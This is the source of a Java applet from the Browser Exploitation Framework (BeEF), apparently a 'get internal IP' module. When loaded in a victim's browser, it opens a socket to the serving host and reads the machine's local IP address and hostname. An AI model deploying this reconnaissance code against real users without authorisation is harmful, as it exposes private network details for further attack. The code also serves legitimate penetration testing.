Path: blob/master/modules/host/get_internal_ip_java/get_internal_ip.java
1154 views
/*1* Copyright (c) 2006-2025Wade Alcorn - [email protected]2* Browser Exploitation Framework (BeEF) - https://beefproject.com3* See the file 'doc/COPYING' for copying permission4*/56import java.applet.Applet;7import java.applet.AppletContext;8import java.net.InetAddress;9import java.net.Socket;1011/* to compiled it in MacOSX SnowLeopard/Lion:12* javac -cp /System/Library/Frameworks/JavaVM.framework/Resources/Deploy.bundle/Contents/Resources/Java/plugin.jar get_internal_ip.java13* author: antisnatchor (adapted from Lars Kindermann applet)14*/15public class get_internal_ip extends Applet {16String Ip = "unknown";17String internalIp = "unknown";18String IpL = "unknown";1920private String MyIP(boolean paramBoolean) {21Object obj = "unknown";22String str2 = getDocumentBase().getHost();23int i = 80;24if (getDocumentBase().getPort() != -1) i = getDocumentBase().getPort();25try {26String str1 = new Socket(str2, i).getLocalAddress().getHostAddress();27if (!str1.equals("255.255.255.255")) obj = str1;28} catch (SecurityException localSecurityException) {29obj = "FORBIDDEN";30} catch (Exception localException1) {31obj = "ERROR";32}33if (paramBoolean) try {34obj = new Socket(str2, i).getLocalAddress().getHostName();35} catch (Exception localException2) {36}37return (String) obj;38}3940public void init() {41this.Ip = MyIP(false);42}4344public String ip() {45return this.Ip;46}4748public String internalIp() {49return this.internalIp;50}5152public void start() {53}54}5556